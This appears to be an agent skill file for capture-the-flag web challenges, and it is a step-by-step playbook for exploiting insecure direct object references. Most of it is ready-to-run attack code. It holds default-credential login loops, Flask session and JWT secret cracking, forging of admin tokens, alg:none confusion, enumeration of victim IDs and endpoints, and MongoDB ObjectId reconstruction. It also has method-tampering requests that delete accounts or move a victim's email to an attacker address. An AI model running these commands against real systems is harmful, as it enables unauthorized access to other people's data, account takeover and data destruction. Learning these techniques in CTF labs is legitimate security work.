name: exploit-idor description: "Insecure Direct Object References (IDOR) — authorization bypass through predictable object references (sequential IDs, UUIDs, filenames, encoded IDs). Covers horizontal/vertical privilege escalation, ID enumeration, HTTP method tampering, and JWT sub claim manipulation." metadata: subdomain: web-exploitation mitre_attack: T1190 when_to_use: "idor, insecure direct object reference, authorization bypass, access control, object reference, id enumeration, sequential id, uuid guessing, horizontal privilege, vertical privilege, broken access control, parameter tampering, user id, object id"
Insecure Direct Object References (IDOR)
Exploits missing or inadequate authorization checks on object references (IDs, filenames, GUIDs), allowing access to other users' resources.
Default Credentials Fast-Path (when default_credentials is a co-tag)
When default_credentials appears alongside idor in the challenge tags, attempt login FIRST before any IDOR probing:
# Try top default credential pairs in your FIRST exploit bash call
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
user="${creds%%:*}"; pass="${creds##*:}"
resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
-d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
code=$(echo "$resp" | tail -1)
[ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done
A valid session reduces all subsequent attack surface to authenticated endpoints — this is the fastest path to flag for dual-tag challenges. Only proceed to IDOR enumeration after confirming or exhausting default credentials.
Flask Session Cookie — SECRET_KEY Brute-Force Fast-Path
When to use: After logging in (default creds), if the session cookie starts with eyJ (base64) and contains a . separator without a JWT alg header — it is a Flask itsdangerous cookie. If modifying your own ID in the cookie to another user's ID causes a signature rejection, brute-force the SECRET_KEY IMMEDIATELY before doing any endpoint enumeration.
Evidence pattern (real-world evidence): test:test → user_id=10032 in Flask session → IDOR target at /order/<id>/receipt → cookie rejected when manually modifying user_id → SECRET_KEY your_secret_key found via flask-unsign → forged cookie with target user_id → flag.
# 1. Decode the Flask session cookie
pip install flask-unsign -q 2>/dev/null
flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>'
# 2. Brute-force the signing secret (try rockyou first, then common secrets)
flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
# Fallback: try common weak secrets inline
for secret in "secret" "secret_key" "your_secret_key" "flask_secret" "mysecret" "password" "admin" "changeme" "dev" "production"; do
result=$(flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --secret "$secret" 2>/dev/null) && echo "SECRET: $secret" && break
done
# 3. Once secret found — forge a cookie with admin/target user_id
flask-unsign --sign --cookie "{'user_id': <TARGET_ID>, 'username': 'admin'}" --secret '<RECOVERED_SECRET>'
# 4. Use forged cookie to access target resources
curl -s "http://<TARGET>/order/<TARGET_ID>/receipt" -H "Cookie: session=<FORGED_COOKIE>" -o /tmp/idor_resp.txt
grep -iE 'secret|token|key|cred|flag' /tmp/idor_resp.txt
Decision rule: If the flask-unsign crack against rockyou is not yielding the secret (no progress output), pivot to endpoint enumeration with your own valid session (horizontal IDOR without cookie forgery may still work).
Detection Strategy
# Horizontal IDOR — access another user's data
curl -s 'https://<TARGET>/api/user/1001/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_own.txt
curl -s 'https://<TARGET>/api/user/1002/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_other.txt
diff idor_own.txt idor_other.txt
# Vertical IDOR — access admin resources as regular user
curl -s 'https://<TARGET>/api/admin/users' -H 'Cookie: session=<USER_SESSION>' -o idor_vertical.txt
# ID enumeration
for id in $(seq 1 100); do
STATUS=$(curl -s -o /dev/null -w '%{http_code}' "https://<TARGET>/api/document/${id}" -H 'Cookie: session=<SESSION>')
echo "ID $id: $STATUS"
done > idor_enum.txt
Common IDOR Patterns
| Pattern | Example | Test |
|---|---|---|
| Sequential integer IDs | /api/invoice/1001 |
Increment/decrement ID |
| UUID/GUID | /api/doc/550e8400-e29b-41d4-a716-446655440000 |
Capture other UUIDs from responses |
| Filename | /download?file=report_userA.pdf |
Change username in filename |
| Encoded ID | /profile?id=MTAwMQ== (base64) |
Decode, modify, re-encode |
| Hashed ID | /api/user/5d41402abc4b |
Check if MD5/SHA1 of predictable value |
| JWT sub claim | {"sub": "1001"} |
Modify sub claim (if no signature check) |
Predictable ID Generation Patterns (when IDs look random but encode account-derivable data)
Some IDs that LOOK random (long integers, hex strings, timestamps) are deterministic transformations of public data — registration order, account email, signup timestamp, or the user's own ID + a fixed offset. When the target says "find the first user" / "access account #1" / "view the earliest registered user," the bypass is usually NOT brute-force enumeration but RECONSTRUCTING the ID generator from observed samples.
Always collect THREE observed IDs first (yours + at least two others from public lists, comments, or response leaks). Then check each pattern:
# Sample: your own ID and any leaked peer IDs (from a /users listing, a comment author field, a leaderboard, etc.)
MY_ID="1734567890123"
PEER_A="1734567891456"
PEER_B="1734567894892"
# 1. Sequential / counter — diffs are small consistent integers
echo "$((PEER_A - MY_ID))" # e.g. 1333 → counter increment per account
echo "$((PEER_B - PEER_A))" # e.g. 3436 → spacing maps to signup gap
# 2. Unix timestamp millisecond — ID has 13-digit shape, decodes to a sensible date
date -d "@$((MY_ID / 1000))" '+%Y-%m-%d %H:%M:%S' # if plausible, ID is timestamp_ms
# 3. Snowflake — 64-bit ID: timestamp_ms (41 bits) | machine_id (10) | sequence (12)
python3 -c "
mid = int('$MY_ID')
ts_ms = (mid >> 22) + 1288834974657 # Twitter snowflake epoch offset
import datetime
print(datetime.datetime.utcfromtimestamp(ts_ms / 1000).isoformat())
"
# 4. Hash of public value (md5/sha1/sha256 of email, username, signup time)
for known_email in "admin@target.com" "test@target.com" "first@target.com"; do
for algo in md5 sha1 sha256; do
HASH=$(echo -n "$known_email" | openssl dgst -$algo | awk '{print $2}')
echo "$algo($known_email) = $HASH"
done
done
# 5. Reversible encoding — base64/hex/zlib of structured payload
echo "$MY_ID" | base64 -d 2>/dev/null
echo "$MY_ID" | xxd -r -p 2>/dev/null | head -c 200
python3 -c "import base64, zlib; print(zlib.decompress(base64.b64decode('$MY_ID')))" 2>/dev/null
Decision rule: once one pattern aligns, derive the target ID directly. Examples:
- Timestamp-based + "first user" challenge → compute
min(observed_ids)and walk backwards by typical signup gap to find ID #1's timestamp; or query the app for the earliest known created_at and reconstruct. - Sequential counter + "first user" → use
1,0,-1(off-by-one) and the smallest leaked ID minus its observed offset. - Snowflake + "specific account at known time" → compose timestamp_ms backwards:
(target_ts_ms - epoch) << 22 | sequence. - Hashed public value → enumerate known emails/usernames through the hash function; the value that hashes to a known peer ID confirms the algorithm.
Anti-pattern: brute-forcing sequential integers when the ID space is 13+ digits — at 1 req/sec the search exhausts the budget before reaching meaningful candidates. Always check pattern alignment first.
MongoDB ObjectId Reconstruction
MongoDB ObjectIds look random but are a deterministic composite: [4B timestamp][3B machine identifier][2B process id][3B counter]. When the target app uses ObjectIds in URL paths (/profile/<oid>, /users/<oid>/data, /api/doc/<oid>) AND leaks ANY timing or ordering info about peer accounts, you can reconstruct a target ObjectId without enumeration:
target_oid_hex = <target_timestamp_sec_hex_4B> + <my_machine_pid_hex_5B> + <target_counter_hex_3B>
The middle 5 bytes (machine+pid) are SHARED across every ObjectId generated by the same mongod process — extract them once from your own observable ObjectId (registration response, profile URL, API response).
Information leak surfaces that complete the formula:
| Leak surface | Provides |
|---|---|
/starttime, /about, /info, "Member since" page |
Target account's creation Unix timestamp (4B portion) |
Registration response with distance / offset / you are N from target |
Counter offset from your own counter to target's (3B portion) |
| Sequential signup observation (register 2-3 accounts back-to-back) | Counter increment per second + base counter at known timestamp |
| Object listing with creation timestamps (admin panels, audit logs) | Direct counter samples |
Concrete reconstruction:
# Step 1 — observe self ObjectId (from /register response, /profile URL, etc.)
MY_OID="65f4a3b2c1d2e3f4a5b6c7d8" # 24 hex chars = 12 bytes
MY_TS_HEX="${MY_OID:0:8}" # first 4B = timestamp
MID_PID_HEX="${MY_OID:8:10}" # bytes 5-9 (10 hex chars) — machine+pid (SHARED)
MY_COUNTER_HEX="${MY_OID:18:6}" # last 3B = counter
# Step 2 — obtain target's timestamp + counter offset
TARGET_TS_SEC=$(curl -s "http://<TARGET>/starttime" | grep -oE '[0-9]{10}')
DISTANCE=$(grep -oE 'distance.*[0-9]+' /tmp/register_resp.txt | head -1 | grep -oE '[0-9]+$')
# Step 3 — derive target ObjectId
TARGET_TS_HEX=$(printf '%08x' "$TARGET_TS_SEC")
MY_COUNTER_DEC=$((16#$MY_COUNTER_HEX))
TARGET_COUNTER_DEC=$((MY_COUNTER_DEC - DISTANCE))
TARGET_COUNTER_HEX=$(printf '%06x' "$TARGET_COUNTER_DEC")
TARGET_OID="${TARGET_TS_HEX}${MID_PID_HEX}${TARGET_COUNTER_HEX}"
# Step 4 — IDOR with derived ObjectId
curl -s "http://<TARGET>/profile/${TARGET_OID}"
Decision rule: when ANY of (a) app uses ObjectId in URL paths, (b) self-observable ObjectId is in hand, (c) target timestamp is disclosed, (d) counter offset is disclosed or derivable from sequential registration — compute the target ObjectId directly. Skip enumeration; 24-hex-char keyspace is computationally unreachable but algorithmically trivial.
JWT / Session Signature Cracking (when forged tokens are rejected)
If you decoded a JWT/session token, modified a claim, and the server rejected the modified token (signature invalid), the next step is NOT manual endpoint enumeration — it is signature secret recovery. With the secret you can sign a valid privesc'd token in one operation.
Flask session (itsdangerous)
# Detect: cookie starts with "eyJ" base64 OR contains a "." separator with no JWT alg header
pip install flask-unsign 2>/dev/null
flask-unsign --decode --cookie '<COOKIE_VALUE>'
flask-unsign --unsign --cookie '<COOKIE_VALUE>' --wordlist /usr/share/wordlists/flask-session-cookie-bruteforcer.txt
# Or with rockyou
flask-unsign --unsign --cookie '<COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt
# Once secret found:
flask-unsign --sign --cookie "{'user_id': 1}" --secret '<RECOVERED_SECRET>'
Generic JWT (HS256)
# jwt_tool — interactive cracker
jwt_tool '<JWT>' -C -d /usr/share/wordlists/rockyou.txt
# hashcat mode 16500 (JWT HS256)
echo '<JWT>' > jwt.hash
hashcat -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt --force
# Once secret found, forge with python:
python3 -c "import jwt; print(jwt.encode({'user_id':1,'sub':'admin'}, '<SECRET>', algorithm='HS256'))"
Decision rule (MANDATORY)
| State | Next action |
|---|---|
| JWT decoded, claim modified, server rejected | Crack signing secret FIRST (flask-unsign or jwt_tool against a common-passwords wordlist) before manual enumeration |
| Crack succeeds | Forge token with desired claims, retry IDOR — done |
| Crack fails (no wordlist hit, RS256/asymmetric) | THEN fall back to endpoint enumeration / IDOR via form parameters |
| RS256 detected | Try alg: none confusion (jwt_tool -X a) before assuming uncrackable |
Why this rule exists: JWT/session signature validation is often implemented with weak secrets that crack against a common-passwords wordlist immediately. Spending the dispatch on manual endpoint guessing while the signing secret is one wordlist run away is a critical misallocation.
Post-Forgery Endpoint Probe (MANDATORY after JWT forgery succeeds)
After successfully forging a JWT (alg:none, key confusion, or cracked secret), immediately probe these endpoints with the forged token as BOTH Bearer header and cookie — do not assume the flag is at a single path:
FORGED="<FORGED_JWT>"
BASE="http://<TARGET>"
for path in /admin /api/admin /api/users /dashboard /.env /api/flag /admin/flag /api/admin/flag; do
for method in GET POST; do
STATUS=$(curl -s -o /tmp/jwt_probe.txt -w '%{http_code}' -X "$method" \
-H "Authorization: Bearer $FORGED" -b "token=$FORGED" "$BASE$path")
echo "$method $path: $STATUS"
[ "$STATUS" = "200" ] && grep -iE 'secret|token|key|cred|flag' /tmp/jwt_probe.txt | head -3 && break 2
done
done
# If all 403 — try additional privilege claims alongside the sub modification
for claims in '{"sub":"admin","role":"admin"}' '{"sub":"admin","is_admin":true}' '{"sub":"admin","admin":1}'; do
# Re-forge token with these claims using your recovered secret or alg:none
echo "Try claims: $claims"
done
When to use: Challenge tagged jwt + privilege_escalation. After forgery, run this block before any other enumeration — the flag endpoint is often /.env, /api/flag, or /admin/flag, none of which appear in standard IDOR enumeration wordlists.
Endpoint Enumeration After ID Discovery
Finding the valid object ID is only step 1. The flag/sensitive data may live at a non-obvious path under that ID. After confirming a valid ID exists, enumerate endpoint paths before giving up.
Common endpoint patterns (try all with the victim's valid ID):
TARGET_ID=10032 # replace with discovered victim ID
SESSION="<YOUR_SESSION>"
BASE="https://<TARGET>"
for path in \
"/api/users/$TARGET_ID/profile" \
"/api/users/$TARGET_ID/data" \
"/api/users/$TARGET_ID/flag" \
"/api/users/$TARGET_ID/receipt" \
"/api/users/$TARGET_ID/invoice" \
"/api/users/$TARGET_ID/orders" \
"/api/users/$TARGET_ID/documents" \
"/api/users/$TARGET_ID/files" \
"/user/$TARGET_ID/profile" \
"/user/$TARGET_ID/flag" \
"/user/$TARGET_ID/receipt" \
"/download/$TARGET_ID" \
"/invoice/$TARGET_ID" \
"/receipt/$TARGET_ID" \
"/admin/user/$TARGET_ID" \
"/v1/users/$TARGET_ID" \
"/v2/users/$TARGET_ID"; do
STATUS=$(curl -s -o /tmp/idor_resp.txt -w '%{http_code}' "$BASE$path" -H "Cookie: session=$SESSION")
echo "$STATUS $path"
if [ "$STATUS" = "200" ]; then
echo " >>> HIT: $(cat /tmp/idor_resp.txt | head -c 200)"
fi
done
Dirsearch against a known-valid ID prefix (when path structure is unknown):
python3 -m dirsearch -u "https://<TARGET>/user/$TARGET_ID/" \
-e json,txt,html --no-color -q -t 5 \
--cookie "session=<SESSION>" 2>&1 | grep -E "^\[" | head -30
Decision flow:
- Confirm victim's ID exists (200 on any endpoint with victim's session) → proceed
- Try your ID on all enumerated paths → note which paths return your data
- Replace your ID with victim ID on each working path → check for 200 + different data
- If no paths return 200 for victim ID: run dirsearch against
/user/<victim_id>/and/api/user/<victim_id>/ - FLAG often lives at
/user/<id>/.env,/api/flag, or embedded in profile JSON — check response bodies carefully
IDOR in Different HTTP Methods
# Test all methods — authorization may differ
curl -s -X GET 'https://<TARGET>/api/user/1002' -H 'Cookie: session=<SESSION>'
curl -s -X PUT 'https://<TARGET>/api/user/1002' -H 'Cookie: session=<SESSION>' -d '{"role":"admin"}'
curl -s -X DELETE 'https://<TARGET>/api/user/1002' -H 'Cookie: session=<SESSION>'
curl -s -X PATCH 'https://<TARGET>/api/user/1002' -H 'Cookie: session=<SESSION>' -d '{"email":"attacker@evil.com"}'